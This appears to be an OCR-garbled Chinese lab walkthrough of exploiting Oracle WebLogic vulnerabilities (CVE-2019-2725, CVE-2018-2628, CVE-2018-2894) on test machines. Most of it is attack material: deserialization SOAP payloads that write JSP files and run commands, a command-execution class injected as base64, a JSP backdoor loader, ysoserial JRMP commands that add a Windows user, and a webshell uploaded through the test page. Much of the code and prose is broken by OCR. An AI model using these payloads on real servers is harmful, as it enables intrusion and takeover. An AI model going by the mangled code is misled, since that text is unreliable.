483 O [ racteti ddlevars\user_projacts\domains\base_donsinkservers\hdninServer \ tnp!_VL_internaltbes_wlsd_aspme
E [ ENE] |CEREE [t [

|_ZJMETA-THF pras= 2011-11-15 9:01

v T 2011-11-15 801

@ beanarker. dat 1 KB DAT Wi 2018-8-T 18:20 A

) schormcs, et R ie-E-15 21T A

[ echolehsec. jsp = 1K TSP M 2019-6-15 20118 A

|
|

SdalesYold =8 x| |28 ix |1t [EEa=
|@BIUAEIw Vu|di=2a(d Al v 88 [ o 5 EET |8 )|
R zl

c:1
EIREES
=]
|

AR |aram|as »I’

Vil http://127.0.0.1:7601/_async/echolxhsec.jsp

T <xlpage ABPOXC=" Java.util.", Javer.cIgpto.t,avar. CIypto. spec. €<k class U extends
Classlosder (U(Classloader c) (super(cjpublic Class g(byre []b] (recurn
super. defineClass(b,0,b. length) £(request. getParaneter ("pass”) L=m
k= (*"+UUID. randontUID | ) . replace (" ) .substring(LE) ;session. purvalue |
JCipher c=Cipher.gecInstance ["AES"] zc.init(2,new
GecretKeySpec ((session, getValue ("u”)+"") . qetBytes (), "AES") ) snew
Ulthis.getClazs().getllassloader()). . g(c. doFinal inew
sun.nizc.BASEGADecoder (). decodsButfer (request. getReader (). readline(]))) ) .nevinstance (). equals(pageCe
nTExt) ;5

1) {string
k) Jout. print (k) ;retum;

Weblogic 12.1.3 7| i org.slf4j.ext.EventDatat4 i% i 3 417 readObjecty().

3

oracle.toplink.internal.sessions. UnitOfWorkChangeSet{t:Weblogic 12.1.3 1 RA77E, - [K Ik 75 %2 &7 FI FH i




mr

FREANTE

Ja { wordwrap brealoword, ja:l

Cancel

B

Request

<|v >

Raw | Params | Headers | Hex [ mL

Response

Raw | Headers | Hex | xuL

0T
Target: http:if192.168.124.129:7001 w B @ Load TRL

>| = & SAL BASICS- UNION BASED- ERROR/
htp://182. 165 124. 128:7001 /eonsolel

4 ssaiem

) Bxecute

POST hwls-wsat/CoordinatarPortType HTTPA 1

Host: 192.168.124.128:7001

User-Agent: Mozila/s 0 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/4s.0
Accept*/"

Accept-Language: zh-CN zg=0 8 n-USa=0 5.
Accept-Encoding: gzip, deflate

Connection: close

Content-Type: textivml

Content-Length: 178338

Hfemd: whoami

03

=soapenv.Envelope
¥mins: wsa="http: i w . w3.0r/2005/08 addressing”
mins: asy="Tttp: 'www bea.com/asynciAsyneResponseServiee™>  <soapenv.Header>

=wsa RelatesTo> sworkiWorkCortext
umins; work="hittp: lhea.com/2004/106/soap/workarear>
toplink internal sessions.UntOMork

=array class="byte" length="3850">

<void index="0">

<bytes-Ba<ibyte>

<fvoid>

<void index="1">

<bytes-15<byte>

<fvoid> .
<void index="3"> v
L2 L2 L e [7we 2 soarontem 0 matches
Done

}

HTTPH 1 500 Internal Server Error
Connection: close

Date: Sun, 16 Jun 2019 D2:08:54 GMT
Contert-Type: text/ui; charset=utt-6
Contert-Length: 351

<7l version=" 0' encoding=UTF-8"7><S:Envelope
mins:S-
mins:ns1 ="http: www W3 01 g2003/05 s0ap-envelope”
misoap.

it ischemas xmisoap.ora/soap fenvelope/'» <5 Body»<nsO:F aut

Fault></5: Body></S:Env

@ B B EJ Thie & search terur

0 matehe

505 byte

ENR
[

Weblogiclf) ¥ 4 8 2x ik g6 N[ 55— JZXML, {iifflorg.sif4j.ext.EventDatafi A [ —JZ XML & String,

it R ¥ 2%

public EventData(String xml) {
ByteArrayInputStream bais =
try {
XMLDecoder decoder =

new XMLDecoder(bais);
this.eventData =
} catch (Exception e) {

throw new EventException("Error decoding "

}

Hi& 5 N3 fFPayload, 1T .

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.124.129:7001

new ByteArrayInputStream(xml.getBytes());

(Map<String, Object>) decoder.readObject();

+ xml, e);

User-Agent: Mozilla/5.8 (Windows NT 5.2; rv:48.0) Gecko/20100101 Firefox/48.0

X )k
Accept-Language: zh-CN,zh;q=0.8,en-US;q=
Accept-Encoding: gzip, deflate

Accept:

Connection: close
Content-Type: text/xml

Content-Length: 962

<soapenv:Envelope xmlns:soapenv=

.5,en;q=0.3

http://schemas.xmlsoap.org/soap/envelope/" xmlns:ws

[ Post data [ Refarrer @ OxH
@A~ Krockies~ prsS~ [JRE~ WEN @F

FIETCRAFT - Servicess ‘ [T dexffomrtion cralldil]

gt A A

"http://www.w3.0rg/2005/08/addressing” xmlns:asy='

<java><class><string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string><void><class><string>org.slf4j.ext.EventData</string>«

<![CDATA[<java>
<object clas

="java.io.PrintWriter">

<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dgk/war/test.jsp</string>

<void method="println">
<string>lxhsecTest</string>
</void>

<void method="close"/>
</object>
</java>]]></string></void></class>

</void></class></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

5
=

:

QFE - - 7| =% T

Go Cancel <|r >
Reguest
Raw | Params | Headers | Hex [oon

Target: hittp:(192.168.124.129:7001 w ?

Response

Rawe | Heatlers | Hex

HAE @) [5 10 Homebuser_projects\domaingt

B~ 2
(C)META-IHF
[CIWEB-THE

beamarker. dat

&]index. htnl

POST [_async/AsyncRespenseService HTTPA.1

Host 192.168.124.122:7001

User-Agent: Mozilal5 0 (indows NT 5.2; 1v:48.0) Gecko/20100101 Firefox48.0
Accept: *

Accept-Language: zh-CH zhg=0.8 en-US; g=0.5 emq=0 3

Accept-Encading gzip, deflate

Connectior: close

Contert-Type: textiml

Contert-Length 962

lop = misoap.
Tt hwww w3 01200508 fadelressing”
xmins:asy="http b

<wsa
xmins:work="http: hea. com2004 106 /soap workarears

<soapenv:Heatlers
<work\WorkComext

HTTPA 1 202 Accepted

Connection: close

Date: Sun, 16 .Jun 2019 01:58:05 GMT
Content-Length: 0

<java<class<string=oracie toplink Intemal sessions UROANGHCH
et EventData</strings<void><string>
</[CDATA[<java>

<object class="java io Printiiter"s

<string=servers/AdminServer imp/_WL_internalbea_wis_internalisjddak warest jspestrings

sitg)

JOIME FEE BT BRG YO FRE IAG SKRL I tuline FO®

demiZo. jsp

test. jsp

L

= I AT A = R e R e

A3 hs [ w

@@

b 0 9 &L

we 32 | AY aiv sp | [ o @5 |

—4=-=-1

—

<vod meoa i
g isssTensssring
Doy
=void method="close"/>
<abcts
(2) (5] [(2) [2]) [Freromiem |L@[BTUR
EENEE ||
oore I R

|1 Lmsecrest


http://www.docjar.com/html/api/org/slf4j/ext/EventData.java.html

wls-wsat.war

Weblogic 10.3.6 [ & #J 3.

bea_wis9_async_response.warff) & 7 FIAL ETGIE ARl 52, H 2 wis-wsat.war 1) &) L.
Vjinl: /ws-wsat/CoordinatorPortType

LU R4 975 JDK 1.6.0_45 64bit Fift47.

Flufei K2 TR S0

X R E R Hlufeill TR, RIL > SRR, WA .
v [ java 18 P public static void main(final String[] args) throws Exception {

’ ’dlsp|ayExp.JEVE Do System. out. println(test code( cmd: "echo 111 » d:/1.txt 7)) ;
€ ExecTest -

v €' IDK7u21 java
© Classfiles 5 !

€ Reflections

€ ResultBaseExec
o1 ResultBaseExec.class
> ResultBaseExec.class.bak
< Test
" toBase64
& WablanicPavlnad
an; ExecTest
. “C:\Program Files\Java\jdkl.6.0_45\bin\java. exe” "—javaagent:E:\IntelliJ IDEA 2018.3.2\lib\idea_rt. jar=64171:E:"
111 7>7 d: /1. txt

ExecTest

I«

Process finished with exit code 0

X HH T HMexec HE X, WIF:
import java.io.*;
public class ResultBaseExec {

public static String exec(String cmd) throws Exception {
String osTyp = System.getProperty("os.name");

Process p;
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
/13T 4
// p = Runtime.getRuntime().exec("cmd /c " + cmd);
p = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
Yelse{
/1A A
1/ p = Runtime.getRuntime().exec("/bin/sh -c " + cmd)

p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}
InputStream fis=p.getInputStream();
InputStreamReader isr=new InputStreamReader(fis);

Buffered di br=new Buffer ader(isr);
String line=null;

String result =
while((line=br.readLine())!=null)

H

{
result = result + line;
}
return result;
}
}
i N.class A

"C:\Program Files\Java\jdk1l.6.0_45\bin\javac.exe" C:\Users\lxhsec\Downloads\WeblogicCode\src\main\java\ResultBaseExec.java

AN classfh i kiBase64, MIRIRHE pihexix Leth i Ll

import sun.misc.BASE64Encoder;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;

import java.io.InputStream;

public class toBase64 {
public static byte[] toByteArray(InputStream in) throws IOException, IOException {

ByteArrayOutputStream out = new ByteArrayOutputStream();
byte[] buffer = new byte[1024 * 4];
int n = 0;
while ((n = in.read(buffer)) != -1) {
out.write(buffer, @, n);
}
return out.toByteArray();
}
public static void main(final String[] args) throws Exception {
BASE64Encoder base64Encoder = new BASE64Encoder();


https://github.com/lufeirider/CVE-2019-2725

//class Atk

InputStream in = new FileInputStream("C:\\Users\\lxhsec\\Downloads\\WeblogicCode\\src\\main\\java\\ResultBaseExec.class");

byte[] data = toByteArray(in);

in.close();

String encode = base64Encoder.encodeBuffer(data);
System.out.println(encode);

yv66VgAAADIAXAOAGEArCAASCgATtACAKAAgALWEAMAOACAAXCgAYADMHADQIADUIADYKADIANWEAOAgAOQOAOgA7BWABCEAPADOHADAKABEAPWEAQAOAEQBBBWBCCEAVACSKABU/

[

D

A2 e Fiitest_codeilli, RBL>HEMRHT AR T AT E .

i

clazz.makeClassInitializer()
.insertAfter(""

+ "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).get(

+

"sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();"
"byte[] bt = decoder.decodeBuffer(R);"

+ o+

+

"Class cl = cls.defineClass(\"ResultBaseExec\",bt);"
java.lang.reflect.Method m = cl.getMethod(\"exec\",new Class[]{String.class});"
"Object object = m.invoke(cl.newInstance(),new Object[]{ua});"

"outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\n"
"outputStream.flush();\n"

+ "response.getWriter().write(\"\");"

by

+ o+ o+ o+ o+ o+ o+

"org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();"

"String R = \"yv66vgAAADIAXAOAGEArCAASCgAtACAKAAGALWEAMAOACAAXCEAYADMHADQIADUTADYKADIANWEAOAZAOQOAOEA7BWABCgAPADOHADAL

"weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.w:
"weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\n"

Ga Cancal <|* > Target: hitp:#127.0.0.1:7001 | | | 2

Reqguest Response
Raw | Params | Header | Hex | xmL Raw | Headers | Hex
POST /wls-wsat/CoordinaterPortType HITE/1.1 i HITP/1.1 200 OK .
Host: 127.0.0.1:7001 Conmection: close r
User—Agent: Mozilla/5.0 (Vindews NI 5.2, rv:18.0) Gecke/20100101 Date: Sat, 15 Jun 2019 13:14:57 GMT
Firefox/18.0 E-Powered-By: Servlet/2.5 JSP/2.1
Aceept #/% Content-Length: 29
Accept-Language: zh-CT, zh: q=0. 8, en-1S; g=0. 5, en: q=0. 3
Aceept-Encoding: gzip, deflate 1xhsecl-2888b1f adnini strator
Comnection: close
Content—Type: text/xml
Content-Length: 315181
1femd: whoami|
<sospenv:Envelope
xmlns: soapenw="http: //schemas. xmlsoap. org/soap/envelope/”
xnlns:wsa="http://www. w3, org/2005/08/ addressing”
xnlns: asy="http:/fwan. bea. com/asyne/AsyneRespenseService”>
<soapenv:Header >
<wsa Actioniwox{fwsa Action><wsa RelatesTo xx</wsa RelatesTo>
“work:WorlContext
xmlns:work="http //bea com/2004/06/soap/workarea/ ">
<javar{class><string’oracle. toplink internal. sessions. Unit0fHorks
hangeSet</stringr<void>
<array class='byte” length="6112">
<void index="0" L L
“byte 81 byter v v
? < + > Tyne 3 seamh tem 0 matehes ? < + kS Tyoe 3 seamh tem 0 matehes
Done

159 bytes | 31 millis

Weblogic 12.1.3 [a] & #3&.
*

clazz.makeClassInitializer()
.insertAfter(""

+ "String ua = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).get(

+ "String R = \"yv66vVgAAADIAXAOAGEArCAASCgAtACAKAAgALWEAMAOACAAXCEAYADMHADQIADUIADYKADIANWEAOAGAOQOAOEA7BWASCEAPADOHADA
+ "sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();"

+ "byte[] bt = decoder.decodeBuffer(R);"

+ "org.mozilla.classfile.DefiningClassLoader cls = new org.mozilla.classfile.DefiningClassLoader();"

+ "Class cl = cls.defineClass(\"ResultBaseExec\",bt);"

+ "java.lang.reflect.Method m = cl.getMethod(\"exec\",new Class[]{String.class});"

+ "Object object = m.invoke(cl.newInstance(),new Object[]{ua});"

+ "weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.w
+ "weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();\n"

+ "outputStream.writeStream(new weblogic.xml.util.StringInputStream(object.toString()));\n"

+ "outputStream.flush();\n"

+ "response.getWriter().write(\"\");"

+ )5

]|

HHOMIEE X, SEIufeidh i, Mfs— .

<class><string>org.slf4j.ext.EventData</string>
<void>
<string>

<java>

<void class="sun.misc.BASE64Decoder">



<void method="decodeBuffer" id="byte_arr"> <string>yv66vgAAADIAXAOAGEArCAAsCgAtACAKAAgALWEAMAOACAAXCgAYADMHADQIADUIADYKA
</void>
</void>
<void class="org.mozilla.classfile.DefiningClassLoader">
<void method="defineClass">
<string>ResultBaseExec</string>
<object idref="byte_arr"></object>
<void method="newInstance">
<void method="exec" id="result">
<string>whoami</string>
</void>
</void>
</void>

</void>

<void class="java.lang.Thread" method="currentThread">
<void method="getCurrentWork" id="current_work">
<void method="getClass">
<void method="getDeclaredField">
<string>connectionHandler</string>
<void method="setAccessible"><boolean>true</boolean></void>
<void method="get">
<object idref="current_work"></object>
<void method="getServletRequest">
<void method="getResponse">
<void method="getServletOutputStream">
<void method="writeStream">
<object class="weblogic.xml.util.StringInputStream"><object idref="result"></object></objeci
</void>
<void method="flush"/>
</void>
<void method="getWriter"><void method="write"><string></string></void></void>
</void>
</void>
</void>
</void>
</void>
</void>
</void>
</java>
</string>
</void>
</class>

[«] [»)

AT
s —
i x| = © SUL EASICS- VNION EASED- ERROR/D
Go Cancel <|v >|v Target: Ntp192.168124428:7001 | #) | 7| L) Load IRL  (http://182. 166. 124. 128:7001 consale
Split AL
Request Response =
) Execute
Raw | Params | Headers | Hex [ s Raw | Headers | Hex _—
Fost dsts [ Referver % 0%
POST Mls-wsat/CoordinatorPortType HT TP/ 1 L; HTTPII_1 200 OK O = =
Host: 192.168.124.128:7001 Connection: close [ PR~ RCockies~ srsS+ [JfE~ - @FR
User-Agent; Mozilars.0 (Mindows NT 5.2; 1v:45.0) Geeko/20100101 Frefox45.0 Date: Sun, 16 Jun 2019 023350 GUT
wcoeptor Cortert.Lengt 29 \BETCRAFT - Servicess | [Ho infornstion awailable]
Accept-Language: zh-CN 2hiq=0 5,en-US;4=0.5,2n;q=0.3
Accept-Encoding gz, deflate Ixhsec-4507e530dninistrator

Connection: close
Content-Type: textbxmi
Content-Lengtt 3748
Ifemd: whoami

<soapenvEnvelope ximi =1t misoap.
xmins:wsa="http:fhwww w3 org2005 B ackressing”

xmins:asy="http:/www bea comiasync/AsyncResponseService"> <soapenv:Header>
<wsa RelatesTo» <workiWork
xmins:work="Titp: lse com 2004106 fsoaplworkareal's

<avar

<class><string>0rg sif4].ext EventData</string>

dava>
<void class="sun misc BASEG4Decoder">

<void method="decodeBuffer” id="byte_art">

<String>yVEBVOAAADIAKAOAGIAICAASCOALACHAAGALWAAMACACAAKCTAY ADIHADG | L

IADUIAD YK ADIANWGACAGAOQOAOGATBWABCGAP ADIHADAIKABEAP WgAQACAECEEEW |V Ad

@ u u u Type 8 sesvch term 0 matches @ B B B Tipe 8 sesvch term 0 matches

Done 124 bytes| 62 milis

Weblogic WLS Core Components /< /751 4k. iy & $4T ¥  ( CVE-2018-2628)

Weblogic Server WLS Core Components 2/ 511k iy & 4T (CVE-2018-2628) , %Il ik t3 bl filt A, T 5 SUARAZ B I 7 70 S A2 IR 55 3 A T4T 25

Wi

{5 FHiexploit. py B A HEAT 52 I, ELAAASE U7 5 LRI AR

Kail Attack : 192.168.31.232
Win03 victim : 192.168.124.130

Kail $417
1) TF#ysoserial.jar
wget https://github.com/brianwrf/ysoserial/releases/download/@.0.6-pri-beta/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar

2) f#fysoserialjar, Jis)JRMP Server

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollectionsl [command]
Hrb, [command)/2 BT A4, Tiiflisten port]/£JRMP Server W7 (#1311,

X B

ﬁ'java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollectionsl 'net user xiaohao xiaohao /add'

3) i iTexploit.py
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]


https://www.exploit-db.com/exploits/44553

Her, [victim ip]Fil[victim port]/& H brweblogiclIPFIi 1, [path to ysoseriall/Z 4 (Kail 24; 1-1)) ysoserialf
port]#—# 1 H#JRMP ServerfIPHu i filifi 1. [JRMPClient] & #47 JRMPClientf) 2%,

X FLIRHIT python2 exploit.py 192.168.124.130 7001 ysoserial-@.0.6-SNAPSHOT-BETA-all.jar 192.168.31

iR

root@kali: ~/Downloads

File Edit View Search Terminal Help

~/Downloads# chmod 777 ./y: SNAPSHOT-BETA-all.jar
NAPSHOT-BETA-all.

er(java.lan B Fie Edit View Search Terminal Help

r reporting

1] i (¥ {22 JRMPClientz

11§%1%, [JRMPListener ip]flI[JRMPListener

1 JRMPClient2

.232 1099 JRMPClient2

tion 19
WARNING: ALl ill h:1705
b o T-BETA-all.ja
n from /192.168.124.130:152i1999

[% Connect ion-

r [[0:0:0, IP Addre:

pecific DNS Suffix
-913793797]]
ad for obj [0

921 Default Gateway . . -
7200000000000000020200007872
1b4910c61331€0300007

1] 2656600
turn with payload for obj [0:0909900000
connection

n from /192.1

\\LXHSEC1-2688B1F i

ast_to web]
124.130 i
t[Hsgabby

ectInputy

b
“webLogi.
-9137937971]
ad for obj [0

2 C:\Docunents and Settings \Adn:

\\LXHSEC1-2688B1F i

LRI, LSRN LASLSHSI 4p T IAerLa S ot L
FEENIRMP ServerfIIPHIEANIHI], [IRMPClient]2HAT
JRMPClientf(J3E, TIEEAJEEIRMPClientEiIRMPClient2

2) FEEET -

Weblogic WL
17 (CVE-

Weblogic Server WLS Cof

## Weblogic FESUH HEIRRE (CVE-2018-2894)

Weblogic Web Service Test Paged—iMEEIM LR,
Web Service Test Page "4 "FERUATTE, FRLAILR
EE—EBRE,

3ty i . BT

BR W

1.k JE3 ML

TEIRE b iy 22 4x-> ik 2%

1 weblogic.security.net.ConnectionFilterimpl {17

0 5 # J4 Weblogic.

C:\Docunents and Settings \Adninistratordnet user

localdonain
192.168.124.130
255.255.255.0
192.168.124.2

SUPPORT_388945a0

inistratordnet user

SUPPORT_38894520

From RFC 2068 Hypertext Transfer Protocc
10.4.5 404 Not Found

1]

The server has not found anything matchir
temporary or permanent.

K(-:- 127.0.0.1: 7001 conzelef console. portal?_nfpb=trusd_pageLabel=DemainSecurityfilterTabFazetha TEAETE RS TEEEEEEE G2 C ‘ @ | oE
INT »| = © 5oL BASICS- UNIOH BASED- ERRDR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS+ LFI-

@ Load URL

0 seliem

)| Execute

[~ Post data | Referrer <@ OxHEX . o WURL W @ BASEBd W |71icert ctring to repl‘

‘n.sm replaring stri] [ Replace 111 38 |3

METCRAFT - Services-

[Fo information available]

OFER~ Lrockiesw prss- [JFRE- WEN- GFREE- DRMMH- AFE- JEE- KTE- mEEERE~ ER-

OQAC LE WebLogic Server® Administration Console

Edchais @ =7 e wwa o] ww w2 | Q
EEENANERSD ET7 »base_domain
H2
AREEHE. BRENY, HmEE
#E A, IS B AR ELER. o SHEMEEN. B8 EfELEWEY, LREHFHDE 1 EE.
 FEBFAEL.
100
base_domain base_domain#fiz &
[ Bk
B BEE Ml Es w2 | web BERE AR
=3
"] —®ES  BEE DHAAME BARLDP  RBE | EHR
B
R LR%E
F T, B EUE X Weblogic Server I# #ERFIRBEE.
[ BRiEmASeRRE
AF ERERE:
EatiES: ] = /
* BEERRE EEGREEN:
192. 168. 31. 232| * * deny
kail Rt Expfididt .

SEL

wehlogic.security.net.Co



LUl wisw  oTalun Snmmar i
- [[0:8:0, -118
eturn with payload f§ root@kali: ~/Downloads

Edit View Search Terminal Help

Is DGC call for 0:0:0 re ay ,recv length:@
nding return with payload -fC mmand: java -jar y SNAPSHOT-BETA-all.jar JRMPClient2 192.168.0.1
ing connection 1099 > pa d
from /192.168 Pd /load:
97

[[0:0:0, p:b0200014CO 74!)0‘54( dﬁl?
urn with payload f861 5723b787073720
tion
from /192.1

[[0:0:0,
return with payload fiTrac
ing connectic F -
ip, jrmp li - port,

[[8:0:0, -156
nding return with payload f: ] ; j )
ing connection F . oad_objdata

TR AU TT 22 B Ty SR

253N, ARRARAUE T — X WeblogicZE4E kM I M 44 30 it

Weblogic 1 =3 bA&JsH (CVE-2018-2894)

Weblogic Web Service Test Pagef — 4T 4 AL, Web Service Test Page 7£"4: 5 " FERAASTIT IR, BT LLIZIR A — 52 Bl
SCMANRAS: 12.1.3.0,12.2.1.2,12.2.1.3

F#Weblogic 12.1.3.0

4245 (1IN Weblogicii /£ Java JDKWJPinHzK N, Biik IR R AR i S S BN AR, e B — B R — PR

PR e e Ee | T L

|
Ul @) [ 0: \Progran Files\Tavahjdil 7.0 514bin = B=a
=

- | “rrEm [mem (EE |

Ejrunscripl axe 1A ¥R WHIZE P A-R=T 1575 &
[ izadebugd. exe WFRTAH - java —jar weblogic_12
Eislack- exe IC:~Documents and Settings“idministrator>cd C:“Program Files~Java>jdki.?.B8_51~binl§
Flistat. exe
[Fistatd exe
Jwizualwm. exe C = \P ogram Flle'-\Jaua\]dkl 7_8_ 51 hin>java —jar weblogic_12.1_.3.8.0_uwls. jar
[ keytool. axe i FE “Documents and Settings\AdministratorsLocal Settgpgs Temp“Or|
kinit. exe 7 _A3-38-58PM~launcher2819-86—-07_03-30-50PM. lo
Flidist. exe
[ktab. exe

|%) msverton. 11
[nativeZaseii. exa
[ ertd. exe

[T packz0. exe

| £ packager. ene
[Frelicytosl. exe

Frnic. exe

lemid exe

Em"?glstry exe \Documentf‘ and Settlngf‘\ndmm1“t1-at01-\l.oca1 Settings~Temp~0ralnstall2@i?—|
[T schenazen. exe L] B'? _A3-38- SBPH\ln.,t5112319 B6-87_B3-30-58PM. log

leerislver. exe ]

Eservertool exe C “Documents and Settings“AdministratorsLeocal Settings‘\Iemp“Oralnstall2@19-06-8)
T tnameserv. exe 7_A3-30-5@PM\install2@19-06-07_03-308-58PM. log

[ unpacksin. exe -

Flnszen. exe

usinport. exe

Mxie. exe 16 K EHEF 2019-8-T 15:25 A j er
|al]weblogic 12.1.3.0.0 w1z .. 901,543 KB Executsble Jar ... 2019-8-6 T:10 A =

— — — =

LL }~‘Qﬂ/’L’(LWeblogic)T’/z‘}'”i;rQ FHEAT I, Al e AP B r*'JMT‘:U)” NIFEE Ff)a 60, milibase_domainffics, 7E"mZ" &% Eh JFH "HH Web
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https://docs.oracle.com/cd/E12839_01/web.1111/e13711/con_filtr.htm#SCPRG386
https://download.oracle.com/otn/nt/middleware/12c/wls/1213/fmw_12.1.3.0.0_wls.jar?AuthParam=1559722469_af3641f13a667dd5e487649c2d72d3d4
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-
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e = smakn: o002

© BN SERT I of trEst

« EEREEEEED

« IBEE I~ 4 &M Exalogic it

R-LEE

* BEAEEAL
[ &f BREanRf

=]

Rt W & s A EFEaRESS

EAFIE TRV 53 B

" xmm P E ——

. Criical (0} F o Bmess

[ Overlaaded (@)

- 5
L] fH BHES E T console

)
&5 B34 Cookie £3: ADMINCONSOLESESSION
A5 RHE 2 Eia: 3600
B34 S50 i URL:
A REAFRER: console-ext
™ &F BR Web B& M E

Vi Il ws_utc/config.do, % Work Home Diryws_utci [l [ 45 S fFcss H

Hi'{c:\Oracle\Middleware\OracleiHome\useriprojects\domains\baseidomain\servers\AdminServer‘\tmp\iwLiinter‘nal\com.oracle.webservices.wls.ws-testclient-app-w15712.1.3\cmprqe\war\css 5

PR XA F R T AR, 8585, sali el 2e4e-> 30, SAJ5 1tk Webshell,
INT

x| = © SQL BASICS- UNION BASED- ERROR/DOVELE QUERY- TOOLS- WAF BYPASS- ENCODING- HML- ENCRYPTION- OTHER- ¥SS- LFI-
g Load VEL  (http://127.0.0.1:T001/ws_nte/config do =
) splie v |
bl Executs
[ Bost data [ Referrer o8 OcHEX M, gm¢ URL 3B @ DASEGL W ITncert string to repl||Tnsert replacing strif [ Replace ALl 2 @ W,
@R Lrokiesr g5 [JEE- WEE- QRTEE- EEMDE- SRE- SN KIA- EEDEER- e (% RV
MIETCRAFT - Services- ‘ [Fo information available]
opH
EA
T2
3
#32IKS Keystores
EmKeystoreR & x + w0 i
EEEF: = Keystore2 B
(1yznh ]
Keystorewid:
EERFET TREEE.
Keystorexif:
il | ehspyiso
RE B
4
PHRASIFINAL,  SRIU B A I T 3K
T2
JKS Keyst
1. eystares +am | o @@
# BEET Keystoredcff Keystore® 8
1 lyxhh Ishepy.jsp ko
® ¥ <> S HIIL cSs M& DO | Pl v | Cookies PiE Pl WHRARE ~ v BBEe
W JBRE RER[2F | HIIL CSS JavaScript MR BN flfF #F FiE
| URL RE | | X | EEIP | Mtk |
= POST keystore?timestamp= 200 K 127.0.0.1:7001 3B 127.0.0.L7000 Zms
FM 48 Post ME XML &
<?znl version="1.0" encoding="UIF-8"?>{setting id="secuzriir"<section name="ker_stere_list"»<apiicns
zmlns:zsi="http:/wms w3, ore/2001/KMLEchema— instance” zsi:type="securitrOptions"><kerStoreltem><id>1559898043652 k_
<fidr<namerlyzhhd/name s keyStores1zhspr. §5pd/] 1rzhhd/p kerStorel tems {faptions
3¢fsection¢/satting
1 4@k 3388 234ms

SRV http://127.0.0.1:7001/ws_utc/css/config/keystore/ [IHi#]_[XfF4], Eln/#irwebshell:



v ~| = & SOL BASICS- \NION BASED- ERRDR/DOUELE QUEEY- TODLS- WAF BYPASS- EWCODING- HIML- ENCEYPTION- OTHER- XSS~ LFI-

@ Lozd URL [http:/f127.0.0.1:7001/ws_ute/css/eonfig/keystore/ 1559896043652 _Lukspy. 153 =
4 sevit wEL L
b+ Execute

[~ Post data [ Eeferrer <@ OxHEX S awr ®URL S @ BASES? W Lot ctring to repl‘

@ER- Zrockiss g [JREY @EN- QFRRGE- CHMME. AHEr S8h- KTIE- @mEERRE- - [ %]
JIETCRAFT - Services- | [Ho information available]

127.0.0.1:7001 {192.168.124.129) | copw

Insert replacing stri)] ¥ Replace All %

JspSowVer: 2009 Private
ogout | File Manager | DataBase Manager | Execute Command | Shell OnLine | Back Connect | Java Reflect | Eval Java Code | Port Scan | Download Remote File | ClipBoard | Port bap | Others | JSP Env

File Manager - Current disk "C:\" total (unknow)

Curtent Directory | C:iCracleMiddiewareiCratle_Homefuser |

. WL oracle wehsenvices.wis ws-testelient-app-wls_12.1 3/:mprqmvm

Bl | SRR,

\fieh Root | Shell Directory | Mew Directory | Mew File | DiskiC:/) | Disk{D1)

Name Last Modified Size Read/\Write/Execute
= Goto Parent
[T 1550888043652 Ixhspyish 2018-06-07 05:00:43 13677K true [true [ unknouw

Edit | Down | Coy | Move | Praperty | Enter | Pack
Pack Selected - Delete Selected 0 directories § 1 files

Copyright (33 2008 hitp S Fori cord [T001s Wet] All Rights Reserved

Vil ws_utc/begin.do, siilifi LmscrEde, LikWebshell, filifdsz, JEn4.

x| = @ sSOL BASICS- UNION BASED- ERROR/DOVBLE QUERV- TOOLS- WAF BYPASS- ENCODING- HIML- ENCRYPTION- OTHER-

HSS-  LFI-
@ Lead VRL [http://127.0.0.1:7001/%= utefbegin do =
4 selie vRL =
b Egecute
[ Post data [ Referver & O<HEX wm g #URL W g BASEGY W |Tocort ciring to repl‘ Insert replacing stri) I Replace ALl 2% 5
B8R~ Lrokiesr poss- [JES- @EOE- OETRER- EEME- ARl SR KTE- EETERAB- 1ET- Qv Q0
METCRAFT  ~ Services- | [Ho information available]

Ew&:m%mﬁgma - @ 'ﬁ

1A WSDL URL: L BEWSOLIE
Httpftse: [

w5E | SAMEAE

Wit BR Rk =

=] i IIxhsD‘MSD \

‘Coperignt 2013 @205, Cracle andor It afMliater. Al ighrte revarved.

LS B

?riBlﬂI%(?EmﬂP?%éUWebshellﬁ%%éo
© 4B BEE PR

@) 6] TADEIARRY TRIECONES @7 0cs &rE 3 & @ 5 B - & &- M- & G|- » =
INT LI = @ SQL BASICS- UNION BASED- ERROR/DOVELE QUERY- TOOLS- 'WAF EYFASS- ENWCODIRG- HIML- ENWCEYFTION- OTHER- S5+ LFI-

) Load URL  [hitp://127.0.0.1:7001 ws_ute/begin do =
B selit WRL @

by Execute

Insert replacing stri) | Replace ALl 9

[~ Post data [ Referrer @ O<HEX s g SUEL wm @ BASEGd . 1ot civing 4o rapl‘

@A~ roskies~ Loss- [JRE- @EN- QFRER- DEMDE- FFE- SR KTA- EEEHECE- [1EE- (x NONO) L]
